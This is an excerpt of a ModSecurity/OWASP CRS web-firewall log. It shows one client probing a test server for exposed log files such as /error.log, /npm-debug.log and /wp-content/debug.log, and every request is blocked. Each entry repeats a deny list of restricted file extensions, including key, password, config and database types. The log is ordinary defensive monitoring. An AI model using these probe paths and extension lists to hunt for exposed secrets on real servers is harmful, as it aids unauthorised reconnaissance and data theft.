[tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/error.log&quot;] [unique_id &quot;aaSSvS6FxXVmoll0lknYzwAAAAs&quot;]
[Sun Mar 01 20:25:49.151932 2026] [:error] [pid 2409300] [client 185.177.72.30:53234] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/error.log&quot;] [unique_id &quot;aaSSvS6FxXVmoll0lknYzwAAAAs&quot;]
[Sun Mar 01 20:25:49.152109 2026] [:error] [pid 2409300] [client 185.177.72.30:53234] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/error.log&quot;] [unique_id &quot;aaSSvS6FxXVmoll0lknYzwAAAAs&quot;]
[Sun Mar 01 20:25:49.197466 2026] [:error] [pid 2409300] [client 185.177.72.30:53234] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/access.log&quot;] [unique_id &quot;aaSSvS6FxXVmoll0lknY0QAAAAs&quot;]
[Sun Mar 01 20:25:49.198025 2026] [:error] [pid 2409300] [client 185.177.72.30:53234] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/access.log&quot;] [unique_id &quot;aaSSvS6FxXVmoll0lknY0QAAAAs&quot;]
[Sun Mar 01 20:25:49.198197 2026] [:error] [pid 2409300] [client 185.177.72.30:53234] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/access.log&quot;] [unique_id &quot;aaSSvS6FxXVmoll0lknY0QAAAAs&quot;]
[Sun Mar 01 20:25:49.243325 2026] [:error] [pid 2409300] [client 185.177.72.30:53234] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/debug.log&quot;] [unique_id &quot;aaSSvS6FxXVmoll0lknY0wAAAAs&quot;]
[Sun Mar 01 20:25:49.243839 2026] [:error] [pid 2409300] [client 185.177.72.30:53234] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/debug.log&quot;] [unique_id &quot;aaSSvS6FxXVmoll0lknY0wAAAAs&quot;]
[Sun Mar 01 20:25:49.244008 2026] [:error] [pid 2409300] [client 185.177.72.30:53234] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/debug.log&quot;] [unique_id &quot;aaSSvS6FxXVmoll0lknY0wAAAAs&quot;]
[Sun Mar 01 20:25:49.289113 2026] [:error] [pid 2409300] [client 185.177.72.30:53234] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application.log&quot;] [unique_id &quot;aaSSvS6FxXVmoll0lknY1QAAAAs&quot;]
[Sun Mar 01 20:25:49.289642 2026] [:error] [pid 2409300] [client 185.177.72.30:53234] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application.log&quot;] [unique_id &quot;aaSSvS6FxXVmoll0lknY1QAAAAs&quot;]
[Sun Mar 01 20:25:49.289840 2026] [:error] [pid 2409300] [client 185.177.72.30:53234] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application.log&quot;] [unique_id &quot;aaSSvS6FxXVmoll0lknY1QAAAAs&quot;]
[Sun Mar 01 20:25:49.311939 2026] [:error] [pid 2409300] [client 185.177.72.30:53234] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app.log&quot;] [unique_id &quot;aaSSvS6FxXVmoll0lknY1gAAAAs&quot;]
[Sun Mar 01 20:25:49.312485 2026] [:error] [pid 2409300] [client 185.177.72.30:53234] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app.log&quot;] [unique_id &quot;aaSSvS6FxXVmoll0lknY1gAAAAs&quot;]
[Sun Mar 01 20:25:49.312678 2026] [:error] [pid 2409300] [client 185.177.72.30:53234] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app.log&quot;] [unique_id &quot;aaSSvS6FxXVmoll0lknY1gAAAAs&quot;]
[Sun Mar 01 20:25:49.335258 2026] [:error] [pid 2409300] [client 185.177.72.30:53234] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server.log&quot;] [unique_id &quot;aaSSvS6FxXVmoll0lknY1wAAAAs&quot;]
[Sun Mar 01 20:25:49.335816 2026] [:error] [pid 2409300] [client 185.177.72.30:53234] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server.log&quot;] [unique_id &quot;aaSSvS6FxXVmoll0lknY1wAAAAs&quot;]
[Sun Mar 01 20:25:49.336002 2026] [:error] [pid 2409300] [client 185.177.72.30:53234] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server.log&quot;] [unique_id &quot;aaSSvS6FxXVmoll0lknY1wAAAAs&quot;]
[Sun Mar 01 20:25:49.381575 2026] [:error] [pid 2409300] [client 185.177.72.30:53234] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/npm-debug.log&quot;] [unique_id &quot;aaSSvS6FxXVmoll0lknY2QAAAAs&quot;]
[Sun Mar 01 20:25:49.381897 2026] [:error] [pid 2409300] [client 185.177.72.30:53234] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/npm-debug.log&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /npm-debug.log found within REQUEST_FILENAME: /npm-debug.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/npm-debug.log&quot;] [unique_id &quot;aaSSvS6FxXVmoll0lknY2QAAAAs&quot;]
[Sun Mar 01 20:25:49.382163 2026] [:error] [pid 2409300] [client 185.177.72.30:53234] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/npm-debug.log&quot;] [unique_id &quot;aaSSvS6FxXVmoll0lknY2QAAAAs&quot;]
[Sun Mar 01 20:25:49.382387 2026] [:error] [pid 2409300] [client 185.177.72.30:53234] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/npm-debug.log&quot;] [unique_id &quot;aaSSvS6FxXVmoll0lknY2QAAAAs&quot;]
[Sun Mar 01 20:25:49.404736 2026] [:error] [pid 2409300] [client 185.177.72.30:53234] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/yarn-error.log&quot;] [unique_id &quot;aaSSvS6FxXVmoll0lknY2gAAAAs&quot;]
[Sun Mar 01 20:25:49.405252 2026] [:error] [pid 2409300] [client 185.177.72.30:53234] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/yarn-error.log&quot;] [unique_id &quot;aaSSvS6FxXVmoll0lknY2gAAAAs&quot;]
[Sun Mar 01 20:25:49.405438 2026] [:error] [pid 2409300] [client 185.177.72.30:53234] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/yarn-error.log&quot;] [unique_id &quot;aaSSvS6FxXVmoll0lknY2gAAAAs&quot;]
[Sun Mar 01 20:25:49.427876 2026] [:error] [pid 2409300] [client 185.177.72.30:53234] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/yarn-debug.log&quot;] [unique_id &quot;aaSSvS6FxXVmoll0lknY2wAAAAs&quot;]
[Sun Mar 01 20:25:49.428416 2026] [:error] [pid 2409300] [client 185.177.72.30:53234] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/yarn-debug.log&quot;] [unique_id &quot;aaSSvS6FxXVmoll0lknY2wAAAAs&quot;]
[Sun Mar 01 20:25:49.428610 2026] [:error] [pid 2409300] [client 185.177.72.30:53234] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/yarn-debug.log&quot;] [unique_id &quot;aaSSvS6FxXVmoll0lknY2wAAAAs&quot;]
[Sun Mar 01 20:25:49.450927 2026] [:error] [pid 2409300] [client 185.177.72.30:53234] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/debug.log&quot;] [unique_id &quot;aaSSvS6FxXVmoll0lknY3AAAAAs&quot;]
